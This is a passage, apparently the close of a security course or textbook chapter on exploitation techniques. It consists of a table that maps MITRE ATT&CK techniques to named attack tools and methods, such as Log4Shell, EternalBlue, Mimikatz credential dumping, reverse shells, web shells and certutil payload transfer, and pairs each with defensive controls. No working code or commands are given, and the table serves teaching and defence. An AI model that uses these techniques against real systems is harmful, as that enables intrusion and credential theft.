| Exploit Public-Facing Application | T1190 | Log4Shell, EternalBlue, SQLi | IDS signatures, WAF, patch management |
| Exploitation for Client Execution | T1203 | Browser/document exploits | EDR, application sandboxing |
| Command and Scripting Interpreter | T1059 | Reverse shells, PowerShell | Script block logging, AMSI |
| OS Credential Dumping | T1003 | Mimikatz, hashdump, LSA | EDR, Credential Guard, LSASS protection |
| Valid Accounts | T1078 | Default creds, PtH, spraying | MFA, anomalous login detection |
| Server Software Component: Web Shell | T1505.003 | PHP/ASPX web shells | File integrity monitoring, AV |
| Scheduled Task/Job | T1053 | Cron, schtasks persistence | Audit scheduled tasks, baseline |
| Boot/Logon Autostart: Registry Run Keys | T1547.001 | reg add RunKey | Registry monitoring, EDR |
| Proxy: Internal Proxy | T1090.001 | Chisel, SSHuttle pivoting | Anomalous outbound connections |
| Ingress Tool Transfer | T1105 | wget, curl, certutil payloads | Proxy inspection, DLP |
End of Chapter 3.2 - Exploitation Techniques: Network to Application Layer
Next: Chapter 3.3 - Man-in-the-Middle, Spoofing & Lateral Movement